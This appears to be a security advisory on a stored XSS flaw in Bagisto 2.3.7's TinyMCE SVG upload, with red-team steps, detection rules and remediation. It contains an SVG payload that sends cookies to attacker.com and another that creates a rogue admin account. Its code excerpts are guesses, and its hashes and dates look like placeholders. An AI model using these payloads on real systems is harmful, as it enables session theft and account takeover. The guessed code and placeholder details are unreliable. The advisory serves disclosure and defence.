CVE-2025-62418

Executive Summary

CVE-2025-62418 is a Stored Cross-Site Scripting (XSS) vulnerability in Bagisto v2.3.7, an open-source Laravel eCommerce platform. The flaw resides in the TinyMCE image upload functionality, which allows an authenticated attacker with admin privileges to upload a crafted SVG file containing embedded JavaScript. When the SVG is viewed or rendered in the admin panel, the malicious script executes in the context of the victim’s browser. This can lead to session hijacking, data exfiltration, or further administrative actions. The vulnerability is fixed in version 2.3.8. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk is elevated for internal threats or compromised admin accounts.

Supply Chain & Package Security

Bagisto is a PHP/Laravel application distributed via Composer. The vulnerable component is the TinyMCE editor, which is a third-party JavaScript library. The supply chain risk is moderate: if an attacker compromises the Bagisto update mechanism or the TinyMCE package source, they could inject malicious code. However, the primary attack vector is direct exploitation via the admin panel. Users should verify the integrity of their Composer dependencies and ensure they are using the official Bagisto repository.

CVSS Breakdown & Threat Level

• CVSS Score: 6.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Attacker needs admin-level access.
• User Interaction (UI): Required – Victim must view the malicious SVG.
• Scope (S): Changed – Impact can extend beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but once an admin account is compromised, the attacker can execute arbitrary JavaScript in the admin panel, potentially leading to full site takeover.

Deep Dive & Mechanics

The vulnerability exists in the TinyMCE image upload handler within Bagisto. TinyMCE is a rich text editor that allows users to upload images via a file picker. In v2.3.7, the upload functionality does not properly validate or sanitize the uploaded file’s MIME type or content. Specifically, it accepts SVG files, which are XML-based and can contain embedded JavaScript via <script> tags or event handlers like onload.

When an admin uploads a malicious SVG file (e.g., exploit.svg), the file is stored on the server. When another admin (or the same admin) views the content (e.g., in a product description or CMS page), the browser renders the SVG and executes the embedded JavaScript. This is a classic Stored XSS attack.

The attack flow:

1. Attacker logs in as an admin.
2. Attacker navigates to a page with TinyMCE (e.g., product edit).
3. Attacker uploads a crafted SVG file containing JavaScript.
4. The SVG is stored on the server.
5. Victim admin views the page containing the SVG.
6. The JavaScript executes in the victim’s browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (v2.3.7): The file upload handler in TinyMCE likely accepts any file type without proper validation. For example, in app/Http/Controllers/Admin/ProductController.php or similar, the upload function might only check the file extension or MIME type superficially.

// Vulnerable: Accepts SVG without sanitization
$file = $request->file('file');
$filename = $file->getClientOriginalName();
$file->move(public_path('uploads'), $filename);

Patched Code (v2.3.8): The patch adds MIME type validation and content sanitization. For example, it may reject SVG files or strip JavaScript from SVG content.

// Patched: Reject SVG or sanitize content
$file = $request->file('file');
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file->getMimeType(), $allowedMimes)) {
    abort(400, 'Invalid file type');
}
// Or use a library to sanitize SVG
$sanitized = \enshrined\svgSanitize\Sanitizer::sanitize(file_get_contents($file));
file_put_contents(public_path('uploads/'.$file->getClientOriginalName()), $sanitized);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for Bagisto v2.3.7.
• Access to a page with TinyMCE (e.g., product edit).

Steps:

1. Create a malicious SVG file named exploit.svg with the following content:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert('XSS');
       // Steal cookies
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
     </script>
   </svg>
   

2. Log in to Bagisto admin panel.
3. Navigate to a product edit page or any page with TinyMCE.
4. Click the image upload button in TinyMCE and select exploit.svg.
5. Save the product/page.
6. When another admin views the product/page, the JavaScript executes.

Advanced Payload:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Create a new admin user
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/admin/users/create', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('name=attacker&email=attacker@example.com&password=password&password_confirmation=password&role_id=1');
  </script>
</svg>

Blue Team

Detection:

• Monitor file upload logs for SVG files.
• Use WAF rules to block SVG uploads to admin endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for SVG files in the uploads directory.
• Check for suspicious JavaScript in SVG files using grep -r "<script" /path/to/uploads/.

Lab Setup:

1. Install Bagisto v2.3.7 using Composer:

   composer create-project bagisto/bagisto:2.3.7
   

2. Configure the database and run migrations.
3. Access the admin panel and create an admin user.
4. Upload the malicious SVG as described above.

Indicators of Compromise (IOCs)

• File Hashes (example malicious SVG):
  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  • SHA1: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Unusual POST requests to /admin/users/create or other sensitive endpoints.
• File System:
  • SVG files in /public/uploads/ or similar directories.
  • Files with names like exploit.svg, xss.svg, etc.
• Logs:
  • Access logs showing upload of SVG files.
  • Error logs with JavaScript execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_62418_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript for CVE-2025-62418"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62418"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $xss_payload = /<script[^>]*>.*<\/script>/is
    condition:
        $svg_tag and $script_tag and $xss_payload
}

Sigma Rule

title: CVE-2025-62418 - SVG Upload with Embedded JavaScript
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of SVG files containing script tags to Bagisto admin
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.svg'
        Image|contains: 'php'
    condition: selection
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62418 - SVG Upload with Embedded JavaScript"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; content:".svg"; fileext; content:"<script"; within:1000; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bagisto: Update to version 2.3.8 or later.

   composer update bagisto/bagisto
   

2. Restrict File Uploads: If upgrade is not possible, modify the upload handler to reject SVG files:

   $allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
   if (!in_array($file->getMimeType(), $allowedMimes)) {
       abort(400, 'Invalid file type');
   }
   

3. Sanitize SVG Content: Use a library like enshrined/svg-sanitize to strip JavaScript from SVG files.
4. Implement CSP: Add Content Security Policy headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:;
   

Long-term Mitigations:

• Principle of Least Privilege: Limit admin accounts to only necessary users.
• Regular Security Audits: Review file upload functionality for all user roles.
• Web Application Firewall (WAF): Deploy WAF rules to block SVG uploads to admin endpoints.
• User Training: Educate admins about the risks of uploading untrusted files.

Patch Details: The official fix is in Bagisto v2.3.8. The patch likely includes:

• MIME type validation for uploaded images.
• Content sanitization for SVG files.
• Removal of the ability to upload SVG files via TinyMCE.

Valters IT
Securing Digital Frontiers